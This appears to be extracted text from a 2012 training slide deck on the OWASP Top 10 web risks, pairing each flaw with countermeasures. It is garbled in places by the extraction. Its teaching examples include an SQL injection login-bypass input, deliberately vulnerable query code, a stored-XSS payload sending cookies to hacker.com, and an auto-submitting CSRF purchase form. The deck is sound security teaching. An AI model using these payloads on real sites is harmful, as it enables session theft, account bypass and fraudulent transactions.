Web app security - owasp top 10

Web Application SecurityOWASP Top 10

Tel.+41 55-214 41 60Fax+41 55-214 41 [email protected] www.csnc.ch

Compass Security AGWerkstrasse 20Postfach 2038CH-8646 Jona

OWASP Top 10

Digicomp Hacking Day 2012

OWASP TOP 10

© Compass Security AG Seite 2www.csnc.ch

OWASP Top 10 (RC1 2010)

A1 SQL Injection

A2 Cross Site Scripting

A3 Broken Auth & Session Management

A4 Insecure Direct Object Reference

A5 Cross Site Request Forgery



A6 Security Misconfiguration

A7 Failure to Restrict URL Access

A8 Unvalidated Redirects andForwards

A9 Insecure Cryptographic Storage

A10 Insufficient Transport LayerProtection

SQL Injection



A1: SQL Injection

Injection flaws occur when an application sends untrusteddata to an interpreter. Injection flaws are very prevalent, often found in SQL queries, LDAP queries,


LDAP queries, XPathqueries, OS commands, program arguments, etc. Injection flaws are easy to discover when examining code, but more difficult via testing.

Introduction

Protocols


HTTPS

RMI

SQL

SQL Injection

User input is directly used to build SQL statements

Application Malicious

Hackerinjects SQL String


Modification of SQL query via browser

ApplicationQuery

select creditcard from

Customers where user is ‘ibuetler’

Malicious

QueryOR 1=1;

SQL Injection

Protocols


RMI

HTTPS + SQL Hacker Code

SQL

Threat: Bypass Authentication

Assembling Strings to SQL Queries

public boolean auth(String user, String pass) {boolean isAuthenticated = false;

string sqlQueryString = "SELECT Username " +

"FROM Users WHERE Username = '" + user +

dynamic concatenation of SQL string and parameters


"' AND Password = '" + pass + "'";

int resultCount = perform(sqlQueryString)

if (resultCount > 0) {return true;

}

return false;}

Checks if at least one record exists. But the result must contain 0 or one result

Threat: Bypass Authentication

Attacker uses following input:� Login: meier

� Password: ' OR ''='

SELECT Username FROM UsersWHERE Username=' meier ' AND Password=' ' OR ''=' '


''=' '

WHERE clause evaluates to TRUE

� All rows of table get select

� Result Set will not be empty!!!

User gets authenticated!

Countermeasures A1: SQL Injection



A1: SQL Injection

Secure Programming

Secure Programming

� Java

�Use Prepared Statements

� ADO.NET

�Use Parameters Collection

� DB-Level


DB-Level

� Stored Procedures (do not use dynamic SQL in SP!)

Secure Programming (I) - Java

Java Prepared Statements

� SQL statement gets precompiled at database

� Parameters are separate from the SQL statement

� Much faster when SQL statement is used several times

� Save against SQL injection attacks


PreparedStatement updateSales =

dbCon.prepareStatement("UPDATE COFFEES SET"

+ "SALES=? WHERE COF_NAME LIKE ?");

updateSales.setInt(1, 75); // correct

updateSales.setString(2, "Colombian"); // usage

updateSales.executeUpdate():

Insecure - Secure Programming (III)

But be aware. This Prepared Statement is still vulnerable to SQL injection!

//Prepares the statement on the database

PreparedStatement updateSales =

dbCon.prepareStatement(


"UPDATE COFFEES SET SALES=? WHERE COF_NAME "

+ "LIKE '" + name + "' "); // insecure usage

//Sets the parameters for the statementupdateSales.setString(1, req.getParameter("sale"));

//Executes the statementupdateSales.executeUpdate():


A1 SQL Injection












A2: Cross Site Scripting

XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplieddata ina page sent to the browser without properly


browser without properly validating or escapingthat content.

Attack Vector

ProtocolJavaScript from www.abc.com isloaded to the client (Malware)


Attrackting!!

Authentication into Web Application

Session Hijacking (re-use client session)

Java Script from Malware Site (1)

E-BankMalware Site

Cookie between

E-Bank and Browser


Java Script from Malware Site

IS GENERALLY DENIED IS GENERALLY DENIED IS GENERALLY DENIED IS GENERALLY DENIED to

access the E-Bank cookie

because of the SAME ORIGIN

POLICY

Java Script from Malware Site (2)

E-BankMalware Site

Cookie between

E-Bank and Browser

<script src=http://Malware Site/m.js>



IS ALLOWED IS ALLOWED IS ALLOWED IS ALLOWED to access the E-

Bank cookie, if the Script is

loaded from the E-Bank site

(Origin) with <script src=>

Cross-Site Scripting (XSS)



Session Stealing Sequence

Malicious JavaScript performs its own request

Hacker ClientWeb

Application

POST /document.jsp?id=898&value=<script>location.href="http://hacker.com/"+document.cookie</script>

Stores value


GET /app/document.jsp?id=898Cookie: session=123

Response:<script>location.href="http://hacker.com/"

+document.cookie</script>

GET /session=123

Stores valuein DB

Stores Requestin Log File

Reflected XSS

What is reflected XSS?

� data provided by a web client is used immediately by server-side code to generate a page of results for that user.

� Attacker has to send a crafted link to the victim.

� Typical example: search form


Attacker Victim Webserver

sends link:

http://example.com/search?<script>...</

script> GET /search?<script>...</script>

search results for:

<script>...</script>Script is

executed

Stored XSS

What is stored XSS?

� data provided by a web client is stored in a database. This data is then presented to the user unencoded.

� Malicious script is rendered more than once.

� XSS worms are based on stored XSS vulnerabilities.

� Typical example: message board


Recommendations



XSS Prevention

Possible solutions

� Convert output into HTML entities � < � <� > � >� " � "� ' � '

� Input validation on characters


� Input validation on characters�Do not accept "dangerous" characters (e.g. <)�Delete "dangerous" characters from request� Transform "dangerous" characters into HTML entities

� Input validation on strings / tags�Do not accept "dangerous" tags (e.g. <script>)�Delete "dangerous" tags from request� Transform "dangerous" tags into HTML entities

ESAPI

OWASP Enterprise Security API (ESAPI)

Available for all major programming languages

� Java

� .NET (work in progress)

� PHP (work in progress)

� Coldfusion (work in progress)


� Coldfusion (work in progress)

� ...

Methods to prevent XSS

� Encoder.encodeForHTML(maliciousString);

� Encoder.encodeForHTMLAttribute(maliciousString);

� Encoder.encodeForJavascript(maliciousString);

� Encoder.encodeForVBScript(maliciousString);


A1 SQL Injection












A3: Broken Authentication

Developers frequently build custom authentication and session schemes, but building these correctly is hard. As a result, they frequently have flaws, usually in areas such as


usually in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.

HTTP Authentication Mechanisms


Strong Authentication SMS


1) UN/PW

2) OTP

Client Certificate Auth


Authentication Strength

Factors of Authentication (3 variants)

� To KNOWKNOWKNOWKNOW something

� Password, PIN

� To OWNOWNOWNOWN something

� Smartcard, SecurId, Safeword, Vasco, OTP

� To BEBEBEBE something


To BEBEBEBE something

� Fingerprint, Iris, Voice, Face

Definition of “Strong authentication”

� Combination of at least 2 factors

Authentication in Web Applications

Browser Authentication

� Based on Response Headers (HTTP ProtocolHTTP ProtocolHTTP ProtocolHTTP Protocol)

� BasicAuth

� DigestAuth

� NTML Auth

� Form-based Authentication (Application LoginApplication LoginApplication LoginApplication Login)

� POST: Submit Login Credentials in Post Body


� POST: Submit Login Credentials in Post Body

� GET: Submit Login Credentials in URL

� SSL based Authentication (HTTPS ProtocolHTTPS ProtocolHTTPS ProtocolHTTPS Protocol)

� Client Certificate

Authentication Schemes

� Direct

� Challenge/Response

� Second Channel (SMS, Tokens)

Login Service Attacks



User Enumeration

Verbose login related error messages can lead to user enumeration

� “Password incorrect”� “User unknown”

Login error messages must be neutral

� “Username or Password incorrect”


� “Username or Password incorrect”

Critical dialogs

� Login� Change password� Lost password

Session Handling Attacks



Session Fixation

Special form ofsession hijacking

Hacker tricks the victim to use a

Victim Hacker WebApp

/index.html

Session=123;

Please use session=123 for Webapp

/index.html; Session=123


victim to use asession knownto the hacker

In exampleURL basedsession trackingis used

LoginForm

doLogin(UserCredentials) + session=123;

Authenticate();Auth=Successfull!

/protected/index.html + session=123;

/protected/index.html + session=123;


A1 SQL Injection












A4: Insecure Direct Object References

1. For direct references to restricted resources, the application needs to verify the user is authorized to access the exact resource they have requested.


requested.

2. If the reference is an indirect reference, the mapping to the direct reference

Security by Obscurity

Insecure Admin Links

� Menu links as the only means of authorization

� Bypass with URL and parameter guessing possible

� Only partially implemented authorization


Only partially implemented authorization

� Function authorization only

Authorization “decentralized”

Single functions must call authorization checks

Functionor Data

Request Request


Threats

� Call to the authorization module are easily forgotten

� Each function must be tested

Functionor Data

or Data

AuthorizationCheck

Authorization “centralized”

Authorization must be implemented

� As centrally as possible

� As one module

Advantages

� Less risk that implementationof authorization checks are

Authorization Check

Request

Request


of authorization checks areforgotten

� Easier to test

Disadvantages

� Data authorization often difficult to achieve

Functionor Data

Functionor Data


A1 SQL Injection












A5: Cross Site Request Forgery

The easiest way to check whether an application is vulnerable is to see if each link and form contains an unpredictable token for each user. Without such an unpredictable token,


unpredictable token, attackers can forge malicious requests. Focus on the links and forms that invoke state-changing functions, since those are the most important CSRF targets.

Introduction

Cross Site Request Forgery has many names

� XSRF

� Session Riding

� One Click Attack

XSRF != XSS

� XSS exploits the trust that a client has for the


� XSS exploits the trust that a client has for the website/application

� Client trusts the website:All the javascript code is necessary to run the webapplication

� XSRF exploits the trust that a website has for the user.

� Website trusts the client:All requests made by the user are intended to be made

Cross Site Request Forgery

E-BankMalware Site

Cookie between

E-Bank and Browser



IS NOT ALLOWED IS NOT ALLOWED IS NOT ALLOWED IS NOT ALLOWED to access

the E-Bank cookie

Cross Site Request Forgery

E-BankMalware Site

Cookie between

E-Bank and Browser

<img src=http://bank/do_trade>


<img src=> loads image from

bank = this is allowed and

performs the malicous

transaction

XSRF with GET Method

Actions can be made by calling GET Requests (e.g. Order some items)

http://www.shop.com/controller? action=buy&productId=1&quantity=23


XSRF with POST Method

Actions can be made by calling POST Requests (e.g. Order some items)


POST /controller

Host: www.shop.com

.....

action=buy&productId=1&quantity=23

Malicious Hacker „POST“ Form

Prepared Website from Hacker

<body>

<form action="http://www.shop.com/controller" method="POST" >

<input type="hidden" name=" action " value=" buy "/>

<input type="hidden" name=" productId " value=" 1"/>


<input type="hidden" name=" productId " value=" 1"/>

<input type="hidden" name=" quantity " value=" 23"/>

</form>

<script>

document.forms[0].submit();

</script>

</body>

Assumptions

The attacker knows the target website

� How do the requests look like?

The victim has a valid session cookie

� If session handling is done in the URL, the website is not vulnerable to this kind of attack.


Remediation

Form contains hidden field with random token.

Executing the request will send the hidden-field-token to the server.

Server now checks if the hidden-field-token is valid, if not: the request is cancelled


Only allowing POST Requests is no solution

� Hidden form � Javascript: form.submit()

In other words:

� Websites should embed fresh nonce in every form, check for it on every request

� Forged requests will have cookie, but not the nonce

Order after Remediation

Victim Webshop

Login

Cookie = 123

GET /order_form.htm


GET /controller?action=buy&token=uiwe4qi4&...

Cookie=123

Order successful

_

Cookie=123

order_form.htm

<input type=“hidden“ name=“token“ value=“uiwe4qi4“>

Generate random

token and embed

in form as hidden

field

Check token

Order after Remediation



A1 SQL Injection












A6: Security Misconfiguration

Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, framework, and custom code. Developers and


code. Developers and network administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.

Examples of Misconfigurations

� Do you have a process for keeping current on the latest versions and patches to all the software in your environment? This includes the OS, Web/App Server, DBMS, applications, and any libraries.

� Is everything unnecessary disabled, removed, or not installed (e.g., ports, services, pages, accounts)?


(e.g., ports, services, pages, accounts)?

� Are default account passwords changed or disabled?

� Are all other security settings configured properly.

� Are all servers protected by Firewalls / Filters … etc. A concerted, repeatable process is required to develop and maintain a proper security configuration.

Examples of Misconfigurations

Examples of Glocken-Shop Misconfigurations

� XML Injection -> /etc/passwd & /etc/shadow

� Directory Browsing of glocken.hacking-lab.com/logs/

� Tomcat Service runs with „root“ privileges


� Tomcat Service runs with „root“ privileges


A1 SQL Injection












A7: Failure to restrict URL Access

Applications are not always protecting page requests properly. Sometimes, URL protection is managed via configuration, and the system is misconfigured. Sometimes, developers


Sometimes, developers must include the proper code checks, and they forget.

Detecting such flaws is easy. The hardest part is identifying which pages (URLs) exist to attack.

Introduction

Failure to restrict URL access

� Privilege Escalation from anonymous to registered user

� Privilege Escalation from registered to admin user

Examples of URL‘s


Examples of URL‘s� http://example.com/app/getappInfo

� http://example.com/app/admin_getappInfo

Exploit� If an authenticated, non-admin, user is allowed to access the

“admin_getappInfo”page, this is a flaw, and may lead the attacker to more improperly protected admin pages.


A1 SQL Injection









A8 Unvalidated Redirects and Forwards



Unvalidated Redirects and Forwards

Such redirects may attempt to install malware or trick victims into disclosing passwords or other sensitive information. Unsafe forwards may allow access control


allow access control bypass.


A1 SQL Injection












Insecure Cryptographic Storage

The most common flaw in this area is simply not encrypting data that deserves encryption. When encryption is employed, unsafe key generation and storage,


generation and storage, not rotating keys, and weak algorithm usage is common. Use of weak and unsalted hashes to protect passwords is also common. External attackers have difficulty detecting such flaws due to limited access.

Hashed and Salted User Passwords

Do not store passwords in plain-text to the table!!

Example: table with user accounts & plaintext password pose a high security risk!

mysql> select username, password from users;+----------+----------+


+----------+----------+| username | password |+----------+----------+| hacker10 | compass || hacker11 | compass |...

If possible: One-way-hashed and salted passwords using hash algorithms like SHA-1 (Do not use MD5 anymore)


A1 SQL Injection












Insufficient Transport Layer Protection

Applications frequently do not properly protect network traffic. Usually, they use SSL/TLS during authentication, but not elsewhere, exposing all transmitted data as well as


transmitted data as well as session IDs to interception. Applications sometimes use expired or improperly configured certificates as well.

Detecting such flaws is easy. Just observe the site’s network traffic.

Mitigation

Use SSL + TLS� Set-Cookie: A=B; secure; HttpOnly

Reverse Proxy� Entry Server


� Reverse Proxy

� Secure Gateway

Technology

Web app security - owasp top 10